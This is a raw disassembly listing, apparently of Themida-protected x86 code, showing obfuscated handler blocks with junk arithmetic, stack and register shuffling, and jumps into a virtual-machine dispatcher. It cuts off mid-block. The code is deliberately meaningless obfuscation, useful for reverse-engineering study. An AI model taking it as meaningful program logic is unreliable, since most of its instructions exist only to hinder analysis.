loc_5950FD: ; CODE XREF: Themida_:005A36A0j pop dx xor ch, 0DBh add al, ch pop ecx xor dl, al mov eax, [esp] add esp, 4 jmp loc_598B1B ; --------------------------------------------------------------------------- loc_595112: ; CODE XREF: Themida_:005A31ACj push esp push dword ptr [esp] mov edx, [esp] jmp loc_5A332D ; --------------------------------------------------------------------------- loc_59511E: ; CODE XREF: Themida_:0059C710j add esp, 4 jmp loc_595B80 ; --------------------------------------------------------------------------- loc_595126: ; CODE XREF: Themida_:005A2777j xor ecx, 3FA646BCh sub ebx, ecx pop ecx pop edi push 1620h mov [esp], ebx mov eax, [esp] add esp, 4 mov ebx, [esp] add esp, 4 add eax, edi jmp loc_59A924 ; --------------------------------------------------------------------------- loc_59514E: ; CODE XREF: Themida_:00591CD3j mov esp, [esp] add [esp], eax push ecx jmp loc_59E851 ; --------------------------------------------------------------------------- loc_59515A: ; CODE XREF: Themida_:00599841j pop edx jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_595160: ; CODE XREF: Themida_:00590613j sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ecx mov cl, 31h push ax mov ah, 72h push dx mov dh, 0B0h add cl, dh jmp loc_5A4268 ; --------------------------------------------------------------------------- loc_595180: ; CODE XREF: Themida_:0059E55Fj sub ebp, 0BA16C5E3h xor eax, ebp pop ebp sub eax, 11FFEBA3h add edx, eax pop eax jmp loc_59EBD4 ; --------------------------------------------------------------------------- loc_595196: ; CODE XREF: Themida_:00593037j push ebp mov ebp, 1 mov eax, ebp pop ebp push ebx push edx jmp loc_591CEC ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_5929EB ; --------------------------------------------------------------------------- loc_5951AE: ; CODE XREF: Themida_:005A1138j add esp, 4 push edx mov edx, 0E558745Bh push eax mov eax, 2A9D36C5h sub ebp, 21F9219Dh sub ebp, eax push eax jmp loc_5A2185 ; --------------------------------------------------------------------------- loc_5951CB: ; CODE XREF: Themida_:0059F0FFj push esi mov esi, 11F4332Dh shr esi, 4 jmp loc_59C5ED ; --------------------------------------------------------------------------- loc_5951D9: ; CODE XREF: Themida_:00594775j push ebp pop eax pop ebp push ebp jmp loc_5A0F5A ; --------------------------------------------------------------------------- loc_5951E2: ; CODE XREF: Themida_:005919DFj push eax jmp loc_59DEF0 ; --------------------------------------------------------------------------- loc_5951E8: ; CODE XREF: Themida_:005A1E95j mov [esp], ebp jmp loc_590E8C ; --------------------------------------------------------------------------- loc_5951F0: ; CODE XREF: Themida_:005A2022j pop ebp sub esp, 4 mov [esp], ebp push esp pop ebp jmp loc_59C6D7 ; --------------------------------------------------------------------------- loc_5951FE: ; CODE XREF: Themida_:00590509j add ebp, 4596077Ch jmp loc_5A175D ; --------------------------------------------------------------------------- loc_595209: ; CODE XREF: Themida_:0059D06Ej cmp cx, ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_595212: ; CODE XREF: Themida_:0059B0B0j pop esp jmp loc_5906B4 ; --------------------------------------------------------------------------- loc_595218: ; CODE XREF: Themida_:005980DBj add ecx, 0BEF4FD51h add eax, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 654D11F1h jmp loc_5A41C5 ; --------------------------------------------------------------------------- loc_595236: ; CODE XREF: Themida_:00595326j pop dword ptr [esp] pop esp mov [esp], ebx push esp pop ebx jmp loc_59699E ; --------------------------------------------------------------------------- loc_595244: ; CODE XREF: Themida_:005A0A3Cj xor ebp, 40A011h mov ecx, ebp jmp loc_592AE7 ; --------------------------------------------------------------------------- loc_595251: ; CODE XREF: Themida_:005A4099j push 4E14h mov [esp], eax jmp loc_59AF61 ; --------------------------------------------------------------------------- loc_59525E: ; CODE XREF: Themida_:0059A193j dec eax neg eax xor eax, 0CD3CB0F2h mov ecx, eax pop eax jmp loc_592240 ; --------------------------------------------------------------------------- loc_59526E: ; CODE XREF: Themida_:0059CF9Fj sub eax, ebx pop ebx mov ebx, [esp] jmp loc_59B7E3 ; --------------------------------------------------------------------------- loc_595279: ; CODE XREF: Themida_:0059EC4Fj mov ebp, 7C186882h sub ebp, 7C186880h add ebx, ebp pop ebp xchg ebx, [esp] pop esp mov dx, [esp] push esi push esp jmp loc_593CD7 ; --------------------------------------------------------------------------- loc_595296: ; CODE XREF: Themida_:00591AB2j push esi jmp loc_59D103 ; --------------------------------------------------------------------------- loc_59529C: ; CODE XREF: Themida_:00597D47j add ch, 0BEh jmp loc_5956B5 ; --------------------------------------------------------------------------- loc_5952A4: ; CODE XREF: Themida_:00595603j add esi, edx jmp loc_59E417 ; --------------------------------------------------------------------------- loc_5952AB: ; CODE XREF: Themida_:0059C1A3j xor esi, ecx xor ecx, esi xor esi, ecx push eax push esi pop eax jmp loc_593322 ; --------------------------------------------------------------------------- loc_5952B9: ; CODE XREF: Themida_:005A505Ej push eax jmp loc_59EA41 ; --------------------------------------------------------------------------- loc_5952BF: ; CODE XREF: Themida_:0059152Ej pop ecx add edx, edi pop edi add edx, ebx push eax jmp loc_59C6A0 ; --------------------------------------------------------------------------- loc_5952CB: ; CODE XREF: Themida_:005A4249j sub [esp+4], eax pop eax jmp loc_594BF5 ; --------------------------------------------------------------------------- loc_5952D5: ; CODE XREF: Themida_:00593DACj push ebx mov ebx, 4D8E1FB8h and ebx, 42641FE3h sub ebx, 40041F9Ch sub eax, 68731783h add eax, ebx sub esp, 4 mov [esp], ebx mov ebx, 68731783h add eax, ebx pop ebx pop ebx push esi push ebx mov ebx, 2 mov esi, ebx jmp loc_5A0B65 ; --------------------------------------------------------------------------- loc_59530B: ; CODE XREF: Themida_:005A178Aj sub eax, esi jmp loc_5A561C ; --------------------------------------------------------------------------- loc_595312: ; CODE XREF: Themida_:0059396Aj push esp pop ecx add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_595236 ; --------------------------------------------------------------------------- loc_59532B: ; CODE XREF: Themida_:005944C9j push 1C79h jmp loc_5998AA ; --------------------------------------------------------------------------- loc_595335: ; CODE XREF: Themida_:00591845j pop cx movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], esi mov esi, esp push 68A8h jmp loc_59BD65 ; --------------------------------------------------------------------------- loc_595358: ; CODE XREF: Themida_:005A2A72j xchg ebx, edi push ebx not dword ptr [esp] jmp loc_598D71 ; --------------------------------------------------------------------------- loc_595363: ; CODE XREF: Themida_:00599977j pop cx push ax mov ah, 1 add bh, ah pop ax shr bh, 1 add bh, 0Bh jmp loc_59C0B7 ; --------------------------------------------------------------------------- loc_595377: ; CODE XREF: Themida_:00599890j not dh jmp loc_594691 ; --------------------------------------------------------------------------- loc_59537E: ; CODE XREF: Themida_:005943BBj xchg ecx, [esp] pop esp push ecx mov ecx, 234F7519h xor eax, ecx jmp loc_59F0B8 ; --------------------------------------------------------------------------- loc_59538F: ; CODE XREF: Themida_:005A4A35j pop ecx pop edi neg ecx jmp loc_599BDD ; --------------------------------------------------------------------------- mov ax, [esp] push edx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx sub esp, 4 jmp loc_5A3A72 ; --------------------------------------------------------------------------- loc_5953B7: ; CODE XREF: Themida_:00591B08j add esp, 4 xor edi, [esp] jmp loc_5A1D2A ; --------------------------------------------------------------------------- loc_5953C2: ; CODE XREF: Themida_:00596BCEj mov ecx, [esp] add esp, 4 sub eax, esi jmp loc_5905DD ; --------------------------------------------------------------------------- loc_5953D2: ; CODE XREF: Themida_:005960ECj push edx sub esp, 4 mov [esp], eax push 5C70582h pop eax sub dword ptr [esp+4], 62D39C7h sub dword ptr [esp+4], 36BC4257h sub [esp+4], eax add dword ptr [esp+4], 36BC4257h add dword ptr [esp+4], 62D39C7h pop eax pop eax jmp loc_5A53C9 ; --------------------------------------------------------------------------- loc_59540A: ; CODE XREF: Themida_:00592200j mov ebp, esp push ebx jmp loc_59DCDE ; --------------------------------------------------------------------------- loc_595412: ; CODE XREF: Themida_:0059E487j add ebp, 644C225Eh jmp loc_59EBE4 ; --------------------------------------------------------------------------- loc_59541D: ; CODE XREF: Themida_:00596862j pop edx and ebp, 11E2757Fh jmp loc_5A22A1 ; --------------------------------------------------------------------------- loc_595429: ; CODE XREF: Themida_:005A05CFj mov edi, 7DC83D86h jmp loc_5910C9 ; --------------------------------------------------------------------------- loc_595433: ; CODE XREF: Themida_:0059EE59j add eax, 4 xchg eax, [esp] jmp loc_5A3589 ; --------------------------------------------------------------------------- loc_59543E: ; CODE XREF: Themida_:0059A6FBj add esp, 4 jmp loc_5921D9 ; --------------------------------------------------------------------------- loc_595449: ; CODE XREF: Themida_:0059A426j xor [esp], al pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_595452: ; CODE XREF: Themida_:00592B00j mov [esp], ebx mov ebx, 4 add esi, ebx pop ebx push edx mov edx, 3007720h dec edx jmp loc_593DC4 ; --------------------------------------------------------------------------- loc_595469: ; CODE XREF: Themida_:005A22FBj sub ecx, 2 xor ecx, [esp] xor [esp], ecx jmp loc_59BE23 ; --------------------------------------------------------------------------- loc_595477: ; CODE XREF: Themida_:00590777j pop ebp push 4E4Ch mov [esp], edi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp jmp loc_59D6AB ; --------------------------------------------------------------------------- loc_595498: ; CODE XREF: Themida_:005A1B5Dj pop dword ptr [esp] pop esp mov [esp], cx jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5954A5: ; CODE XREF: Themida_:005A56DDj pop esp jmp loc_594FFF ; --------------------------------------------------------------------------- loc_5954AB: ; CODE XREF: Themida_:00599569j push eax push ecx jmp loc_5A0F77 ; --------------------------------------------------------------------------- loc_5954B2: ; CODE XREF: Themida_:005A35DFj shl esi, 2 not esi sub esi, 0E3EA5037h jmp loc_5A30B3 ; --------------------------------------------------------------------------- loc_5954C2: ; CODE XREF: Themida_:005959B1j add esp, 4 add edx, 4 push edi push esi mov esi, 55027C6h mov edi, 55027CAh sub edi, esi mov esi, [esp] add esp, 4 push eax mov eax, 3FF408F2h sub eax, 1B0AD9EDh add edx, eax pop eax sub edx, 3B515A98h add edx, edi push edi jmp loc_5A00D1 ; --------------------------------------------------------------------------- loc_5954FB: ; CODE XREF: Themida_:00598A02j sub dword ptr [esp+8], 13D359C1h jmp loc_59682F ; --------------------------------------------------------------------------- loc_595508: ; CODE XREF: Themida_:0059159Ej mov eax, [esp] jmp loc_599C78 ; --------------------------------------------------------------------------- loc_595510: ; CODE XREF: Themida_:0059E6A5j mov edx, esp push ebp mov ebp, 2C126133h jmp loc_5A2D7F ; --------------------------------------------------------------------------- loc_59551D: ; CODE XREF: Themida_:005908B4j add eax, esi sub eax, 179B52F9h mov esi, [esp] add esp, 4 push edx mov edx, 4 jmp loc_59940E ; --------------------------------------------------------------------------- loc_595538: ; CODE XREF: Themida_:005A0D3Dj mov ebx, [esp] jmp loc_5991EA ; --------------------------------------------------------------------------- loc_595540: ; CODE XREF: Themida_:005A3E83j xor eax, 762F5204h sub edi, 509B40E1h add edi, 14F274EAh add edi, eax sub edi, 14F274EAh push ebp mov ebp, 509B40E1h add edi, ebp pop ebp pop eax add edi, 4 jmp loc_5A1E9A ; --------------------------------------------------------------------------- loc_59556E: ; CODE XREF: Themida_:005975DAj push eax mov eax, 1043DB3h shr eax, 2 sub eax, 35D52037h sub eax, 0E4C7170h sub eax, 4D3017EEh add eax, 0A5FDA2DFh add ebp, eax jmp loc_591ACD ; --------------------------------------------------------------------------- loc_595592: ; CODE XREF: Themida_:00593A16j not ah add ah, 83h xor ah, 0ACh mov dh, ah jmp loc_59AE65 ; --------------------------------------------------------------------------- loc_5955A1: ; CODE XREF: Themida_:005947A7j mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_592287 ; --------------------------------------------------------------------------- lodsd jmp loc_5909A9 ; --------------------------------------------------------------------------- loc_5955BE: ; CODE XREF: Themida_:005A1021j push edi mov edi, 13D001BDh sub esi, edi mov edi, [esp] add esp, 4 sub esi, 3D420FE0h add esi, edi add esi, 3D420FE0h sub esp, 4 mov [esp], edx mov edx, 2C377F19h inc edx add edx, 30747546h jmp loc_59B74A ; --------------------------------------------------------------------------- loc_5955F4: ; CODE XREF: Themida_:00597616j pop edi jmp loc_5949FE ; --------------------------------------------------------------------------- loc_5955FA: ; CODE XREF: Themida_:00599364j mov ebx, 46526DB7h add edx, ebx pop ebx pop ebp jmp loc_5952A4 ; --------------------------------------------------------------------------- loc_595608: ; CODE XREF: Themida_:00595E2Dj push edx mov dl, ah jmp loc_59A521 ; --------------------------------------------------------------------------- loc_595610: ; CODE XREF: Themida_:0059ADB3j xor [esp], edx xor edx, [esp] jmp loc_591623 ; --------------------------------------------------------------------------- loc_59561B: ; CODE XREF: Themida_:0059AA1Aj add al, 58h pop ecx xor bl, al sub esp, 4 mov [esp], edx push 2EC0h mov [esp], ebp mov ebp, 634264h or ebp, 5DC46141h sub esp, 4 mov [esp], eax mov eax, 3D4F72DEh jmp loc_5A4FB2 ; --------------------------------------------------------------------------- loc_59564C: ; CODE XREF: Themida_:00596898j mov ebp, [esp] add esp, 4 jmp loc_5A4A3A ; --------------------------------------------------------------------------- loc_595657: ; CODE XREF: Themida_:0059C04Aj sub edi, 73D61D32h add edi, ebp add edi, 73D61D32h mov ebp, [esp] add esp, 4 add edi, 4 push edx jmp loc_599F14 ; --------------------------------------------------------------------------- loc_595674: ; CODE XREF: Themida_:005A1BE2j pop ecx push edx push ebx jmp loc_59CB53 ; --------------------------------------------------------------------------- loc_59567C: ; CODE XREF: Themida_:00597CB6j add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edx jmp loc_5A1C7E ; --------------------------------------------------------------------------- loc_595690: ; CODE XREF: Themida_:005931E2j add ebx, edi sub ebx, 7DCA709Bh sub ebx, 4DFF08CFh push 7BABh jmp loc_596DCA ; --------------------------------------------------------------------------- loc_5956A8: ; CODE XREF: Themida_:0059AE01j push 5696h mov [esp], esi jmp loc_591D8D ; --------------------------------------------------------------------------- loc_5956B5: ; CODE XREF: Themida_:0059529Fj sub ch, 0E8h xor ch, 0B8h sub al, ch pop ecx sub al, dh push ecx mov cl, 44h xor cl, 5Eh jmp loc_59D8A9 ; --------------------------------------------------------------------------- loc_5956CB: ; CODE XREF: Themida_:005A229Cj not dword ptr [esp] pop edi push 6940h mov [esp], ecx mov ecx, 14E1314Eh jmp loc_59C6E8 ; --------------------------------------------------------------------------- loc_5956E1: ; CODE XREF: Themida_:0059CFC5j mov [esp], esp add dword ptr [esp], 4 jmp loc_595B88 ; --------------------------------------------------------------------------- loc_5956F0: ; CODE XREF: Themida_:0059F6C0j push 0EE3h mov [esp], edi mov edi, 4 add ebx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_59B671 ; --------------------------------------------------------------------------- loc_595713: ; CODE XREF: Themida_:00594F61j mov ebx, 0FB512DC1h add ebx, edx pop edx mov eax, 19805100h sub eax, ebx pop ebx and ebx, eax push dword ptr [esp] jmp loc_5A4610 ; --------------------------------------------------------------------------- loc_59572D: ; CODE XREF: Themida_:005A31EEj pop esi push eax jmp loc_59EA3A ; --------------------------------------------------------------------------- loc_595734: ; CODE XREF: Themida_:00592D04j xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edx push ecx push 43BAh mov [esp], ebx push ecx mov cl, 0FEh add cl, 93h mov bl, cl pop ecx xor bl, 0D2h mov ch, bl mov ebx, [esp] add esp, 4 mov dh, 0D0h xor dh, ch pop ecx add al, dh mov edx, [esp] add esp, 4 push 3F45h mov [esp], ebx mov bh, 0E0h shr bh, 7 push edx mov dl, 67h push eax mov al, 8Bh shl al, 1 shr al, 1 sub al, 0Ah xor al, 4Eh xor dl, al jmp loc_5A07C4 ; --------------------------------------------------------------------------- loc_59578F: ; CODE XREF: Themida_:005A0365j sub ecx, edx pop edx push edi mov edi, 6D565BEBh sub ecx, edi push dword ptr [esp] pop edi add esp, 4 add eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_592F6B ; --------------------------------------------------------------------------- loc_5957B4: ; CODE XREF: Themida_:005A3F46j push ebp mov ebp, 2212699Dh sub ebp, 21DB136Dh mov ebx, ebp pop ebp shl ebx, 8 sub ebx, 549E6B47h add ebx, 7DE46712h not ebx jmp loc_5A1A6C ; --------------------------------------------------------------------------- loc_5957D9: ; CODE XREF: Themida_:005982E4j inc dl push ebx jmp loc_597BB0 ; --------------------------------------------------------------------------- loc_5957E1: ; CODE XREF: Themida_:0059351Fj push edi mov edi, 14C1782Dh xor edi, 718534F8h not edi or edi, 9C9049Fh sub edi, 34DB486Dh add edi, 98DF90B2h add edx, edi jmp loc_5A550E ; --------------------------------------------------------------------------- loc_595808: ; CODE XREF: Themida_:00594224j pop ebp xchg ebx, [esp] jmp loc_591D2B ; --------------------------------------------------------------------------- loc_595811: ; CODE XREF: Themida_:00592309j pop ebp pop edx add ebx, ecx push dword ptr [esp] jmp loc_5A24B5 ; --------------------------------------------------------------------------- lodsb add al, 0E8h push edx mov dl, 5 push ecx mov cl, 82h inc cl push ebx mov bl, 0FBh shr bl, 5 not bl jmp loc_5A2AEA ; --------------------------------------------------------------------------- loc_595835: ; CODE XREF: Themida_:005A4230j push edx push ebp mov ebp, 29CB0DE6h mov edx, ebp jmp loc_5A2DCB ; --------------------------------------------------------------------------- loc_595843: ; CODE XREF: Themida_:00599E63j pop esp shr ecx, 7 push eax push esp pop eax add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebx jmp loc_59D189 ; --------------------------------------------------------------------------- loc_595868: ; CODE XREF: Themida_:005A2F36j push 7B665872h pop ebx shl ebx, 6 add ebx, 0FFFFFFFFh or ebx, 342B1978h push edi mov edi, 492E43F6h inc edi jmp loc_5962FB ; --------------------------------------------------------------------------- loc_595886: ; CODE XREF: Themida_:005936B7j add ebp, 4 xchg ebp, [esp] pop esp sub bl, 0DAh push edx mov dl, 6Eh not dl neg dl shr dl, 5 sub dl, 0C3h sub bl, 0B5h sub bl, dl push ax jmp loc_596B35 ; --------------------------------------------------------------------------- loc_5958AC: ; CODE XREF: Themida_:0059D301j mov [esp], ebx push esp pop ebx jmp loc_59F351 ; --------------------------------------------------------------------------- loc_5958B6: ; CODE XREF: Themida_:0059FB77j add esp, 4 sub eax, edi pop edi sub esp, 4 mov [esp], esi jmp loc_5A0B28 ; --------------------------------------------------------------------------- loc_5958C7: ; CODE XREF: Themida_:00591F2Aj xor eax, ebx push 2B1Dh mov [esp], esi jmp loc_598FF9 ; --------------------------------------------------------------------------- loc_5958D6: ; CODE XREF: Themida_:0059EFCDj add esp, 4 push edx mov edx, 0A03A9A3Fh jmp loc_594E99 ; --------------------------------------------------------------------------- loc_5958E4: ; CODE XREF: Themida_:00599AD7j push ebx push ecx jmp loc_59C960 ; --------------------------------------------------------------------------- loc_5958EB: ; CODE XREF: Themida_:00596031j push edi mov edi, ebp mov edx, edi pop edi mov eax, edx pop edx pop ebp sub eax, edx push dword ptr [esp] pop edx push edi mov edi, esp add edi, 4 push eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp jmp loc_594C97 ; --------------------------------------------------------------------------- loc_595916: ; CODE XREF: Themida_:00598B41j mov cl, bl pop ebx xor cl, 3Ch shl cl, 1 jmp loc_5905EF ; --------------------------------------------------------------------------- loc_595923: ; CODE XREF: Themida_:0059053Fj mov [esp], esi push 6D45283Dh pop esi add esi, 72DF51CAh jmp loc_59D7FB ; --------------------------------------------------------------------------- loc_595937: ; CODE XREF: Themida_:0059DD48j push eax mov eax, 34DC4CFDh add eax, 53416497h xor edx, eax jmp loc_5941D4 ; --------------------------------------------------------------------------- loc_595949: ; CODE XREF: Themida_:005930D1j sub ebp, 122324CBh pop ebx push ebp push dword ptr [esp+4] jmp loc_5A224C ; --------------------------------------------------------------------------- loc_59595A: ; CODE XREF: Themida_:00595EB0j pop ebx inc edi add edi, 8AE0FA42h push ebx mov ebx, 7C920ECBh sub ecx, 147767D0h sub ecx, ebx add ecx, 147767D0h pop ebx jmp loc_5A3174 ; --------------------------------------------------------------------------- loc_59597C: ; CODE XREF: Themida_:0059F4E8j add esp, 4 mov edi, [esp] jmp loc_59253A ; --------------------------------------------------------------------------- loc_59598A: ; CODE XREF: Themida_:005A46A9j push dword ptr [esp] pop eax jmp loc_5A0168 ; --------------------------------------------------------------------------- loc_595993: ; CODE XREF: Themida_:0059F1FEj push cx pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59599B: ; CODE XREF: Themida_:0059F797j sub eax, 0D240B83h jmp loc_599A0E ; --------------------------------------------------------------------------- loc_5959A5: ; CODE XREF: Themida_:0059463Cj add dword ptr [esp+4], 6E9C2029h pop edx mov edx, [esp] jmp loc_5954C2 ; --------------------------------------------------------------------------- loc_5959B6: ; CODE XREF: Themida_:005A52A2j pop esp idiv ecx push 34AEh mov [esp], edx push eax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5959C8: ; CODE XREF: Themida_:00593AEDj xchg ebx, [esp] pop esp push edi mov edi, 6341DDCh add edi, 0BE26F08h jmp loc_59899D ; --------------------------------------------------------------------------- loc_5959DD: ; CODE XREF: Themida_:005A2DC6j xchg esi, [esp] jmp loc_599A18 ; --------------------------------------------------------------------------- loc_5959E5: ; CODE XREF: Themida_:00590F87j sub esp, 4 jmp loc_597048 ; --------------------------------------------------------------------------- loc_5959ED: ; CODE XREF: Themida_:0059C5A6j add eax, 61DD7DE4h not eax shl eax, 7 not eax shr eax, 5 push ecx mov ecx, 0FCF95DA3h add eax, ecx pop ecx xor esi, eax mov eax, [esp] push eax push esp pop eax add eax, 4 add eax, 4 jmp loc_5A4A9A ; --------------------------------------------------------------------------- loc_595A1C: ; CODE XREF: Themida_:005942C7j add dl, bh pop ebx xchg ah, dl push small 0 sub [esp], ah mov ah, [esp] add esp, 2 jmp loc_59DDB2 ; --------------------------------------------------------------------------- loc_595A33: ; CODE XREF: Themida_:0059DE0Fj add esp, 4 sub al, dl pop dx push small 2967h mov [esp], bx push edx mov dl, 91h xor dl, 38h sub dl, 85h jmp loc_59CB3A ; --------------------------------------------------------------------------- loc_595A53: ; CODE XREF: Themida_:005938E8j push ecx mov ecx, 0E5910DCh add esi, ecx pop ecx add esi, ebp sub esi, 0E5910DCh push ecx mov ecx, 49287ECEh sub esi, ecx pop ecx mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_591282 ; --------------------------------------------------------------------------- mov ax, [esp] push 3ED4h mov [esp], esi push esp jmp loc_59C66F ; --------------------------------------------------------------------------- loc_595A9A: ; CODE XREF: Themida_:0059E177j add eax, ebp jmp loc_59035B ; --------------------------------------------------------------------------- loc_595AA1: ; CODE XREF: Themida_:0059F29Aj pop ebx pop dword ptr [esp] jmp loc_5919E4 ; --------------------------------------------------------------------------- loc_595AAA: ; CODE XREF: Themida_:005A052Cj xchg ebx, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] mov cx, [esp] jmp loc_598270 ; --------------------------------------------------------------------------- loc_595ABF: ; CODE XREF: Themida_:005A1CD8j push dword ptr [esp+4] mov edi, [esp] add esp, 4 jmp loc_5A0D05 ; --------------------------------------------------------------------------- loc_595AD1: ; CODE XREF: Themida_:0059F2D3j and edi, 770F24DAh sub edi, 6B1B6259h xor edi, 0D08F84C0h jmp loc_5976A1 ; --------------------------------------------------------------------------- loc_595AE8: ; CODE XREF: Themida_:0059445Bj dec dl jmp loc_59D992 ; --------------------------------------------------------------------------- loc_595AEF: ; CODE XREF: Themida_:00597AF3j pop esi sub ebx, 703E20FBh jmp loc_591D33 ; --------------------------------------------------------------------------- loc_595AFB: ; CODE XREF: Themida_:0059361Fj push edx not dword ptr [esp] pop edx jmp loc_59AC0F ; --------------------------------------------------------------------------- loc_595B05: ; CODE XREF: Themida_:00593896j inc ecx sub ecx, 0F5532A83h and eax, ecx pop ecx sub eax, 0AC30BB10h jmp loc_595F95 ; --------------------------------------------------------------------------- loc_595B19: ; CODE XREF: Themida_:00596E49j mov edi, 24E8779Ah sub edi, 0FFFFFFFFh dec edi sub edi, 4D9216Ah sub edi, 1 sub edi, 0E31AEDB4h add esi, 6F9915DCh sub esi, edi sub esi, 6F9915DCh pop edi mov ebx, [esp] add esp, 4 jmp loc_591076 ; --------------------------------------------------------------------------- loc_595B54: ; CODE XREF: Themida_:00596DAAj sub edx, 23BC2FAEh xor edx, 2CB24453h add edx, 78EF2B91h push ebp jmp loc_59F67D ; --------------------------------------------------------------------------- loc_595B6C: ; CODE XREF: Themida_:0059E7C9j pop esi pop dword ptr [esp] jmp loc_5A3DFF ; --------------------------------------------------------------------------- loc_595B75: ; CODE XREF: Themida_:0059B2A5j add edi, 252F0750h jmp loc_5A21D9 ; --------------------------------------------------------------------------- loc_595B80: ; CODE XREF: Themida_:00595121j pop ebp and eax, ecx jmp loc_59A05F ; --------------------------------------------------------------------------- loc_595B88: ; CODE XREF: Themida_:005956EBj pop ebp push ecx mov ecx, 39133151h shr ecx, 6 shl ecx, 7 jmp loc_59C3F5 ; --------------------------------------------------------------------------- loc_595B9A: ; CODE XREF: Themida_:0059AC0Aj mov cl, 6Bh jmp loc_594E48 ; --------------------------------------------------------------------------- loc_595BA1: ; CODE XREF: Themida_:00591121j and ecx, ebx mov ebx, [esp] add esp, 4 sub ecx, 62344B1Dh push edx push 234E5BD0h pop edx sub edx, 0F0B228Ch shl edx, 2 neg edx shl edx, 7 xor edx, 63AF7320h add ecx, 582A5A1Eh sub ecx, 11BF48E1h jmp loc_59A174 ; --------------------------------------------------------------------------- loc_595BDB: ; CODE XREF: Themida_:005909A4j mov esp, [esp] sub [esp], eax pushf jmp loc_594362 ; --------------------------------------------------------------------------- loc_595BE7: ; CODE XREF: Themida_:0059237Fj xor eax, 52713CADh add eax, 0EDDAF73Fh jmp loc_59ED80 ; --------------------------------------------------------------------------- loc_595BF6: ; CODE XREF: Themida_:00592A29j mov [esp], ebx push 4DF1476Ch mov ebx, [esp] add esp, 4 push edi sub esp, 4 mov [esp], esi mov esi, 6FF91C8Dh push edx mov edx, esp jmp loc_5A3E2B ; --------------------------------------------------------------------------- loc_595C1B: ; CODE XREF: Themida_:0059F66Bj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov eax, [esp] jmp loc_59414E ; --------------------------------------------------------------------------- loc_595C3E: ; CODE XREF: Themida_:00594C8Aj push eax push 75AFh mov [esp], edx push 17062906h pop edx sub edx, 9898027Bh mov eax, edx pop edx jmp loc_59765A ; --------------------------------------------------------------------------- loc_595C5B: ; CODE XREF: Themida_:00593971j mov esi, [esp] add esp, 4 mov esi, eax pop eax sub esi, 39327552h neg esi xor esi, 0CC1D5289h push esi push esi mov esi, 4B996947h jmp loc_5939F3 ; --------------------------------------------------------------------------- loc_595C7E: ; CODE XREF: Themida_:00594480j pop esi jmp loc_5A203D ; --------------------------------------------------------------------------- loc_595C84: ; CODE XREF: Themida_:0059E243j mov eax, esp sub esp, 4 mov [esp], ebp jmp loc_59DD4D ; --------------------------------------------------------------------------- loc_595C91: ; CODE XREF: Themida_:00599794j push ebp mov ebp, 5842C777h xor esi, ebp pop ebp push esi mov esi, 4F921A5Bh add esi, 0F4DC5D35h sub eax, esi mov esi, [esp] add esp, 4 sub eax, 37C6206Bh jmp loc_59A10B ; --------------------------------------------------------------------------- loc_595CBB: ; CODE XREF: Themida_:00596CA2j sub ebp, 0C08918EBh jmp loc_5949C0 ; --------------------------------------------------------------------------- loc_595CC6: ; CODE XREF: Themida_:005A53C4j mov ebx, [esp] add esp, 4 add esi, eax mov eax, [esp] jmp loc_5A558E ; --------------------------------------------------------------------------- loc_595CD9: ; CODE XREF: Themida_:0059CE1Fj xor ecx, edx pop edx sub esi, 2355053Ch sub esi, ecx add esi, 2355053Ch pop ecx add esi, eax add esi, 26E80366h push dword ptr [esp] pop eax add esp, 4 jmp loc_59B72C ; --------------------------------------------------------------------------- loc_595D02: ; CODE XREF: Themida_:005A3B83j pop edi jmp loc_5A0F4B ; --------------------------------------------------------------------------- loc_595D08: ; CODE XREF: Themida_:005A3C2Cj pop ecx add esp, 4 jmp loc_5A178F ; --------------------------------------------------------------------------- loc_595D14: ; CODE XREF: Themida_:005A05A5j xor ebx, 40DF4E8Ch and ebp, ebx pop ebx sub ebp, 20910084h and ecx, ebp mov ebp, [esp] push edx push esp jmp loc_59A588 ; --------------------------------------------------------------------------- loc_595D2F: ; CODE XREF: Themida_:00594903j mov dl, 0FFh add bl, dl mov dx, [esp] add esp, 2 push edx mov dl, bl push ebx push eax push ecx mov ch, dl mov al, ch pop ecx jmp loc_5978A9 ; --------------------------------------------------------------------------- loc_595D4A: ; CODE XREF: Themida_:0059C8FCj shr ecx, 4 or ecx, 703C718Dh jmp loc_59C38A ; --------------------------------------------------------------------------- loc_595D58: ; CODE XREF: Themida_:00590C6Cj xor edx, 618F780Eh sub ebp, edx jmp loc_59DA0F ; --------------------------------------------------------------------------- loc_595D65: ; CODE XREF: Themida_:005940EDj mov ebp, 2CA95617h mov eax, ebp pop ebp neg eax shl eax, 4 sub eax, 44FD3626h shr eax, 8 push esi mov esi, 3AEF5B2Bh shr esi, 8 sub esi, 53EF955Ah sub eax, esi pop esi xor [esp+4], eax mov eax, [esp] push ecx jmp loc_5A3A65 ; --------------------------------------------------------------------------- loc_595D99: ; CODE XREF: Themida_:005A1DD3j pop esp push eax sub esp, 4 mov [esp], esp 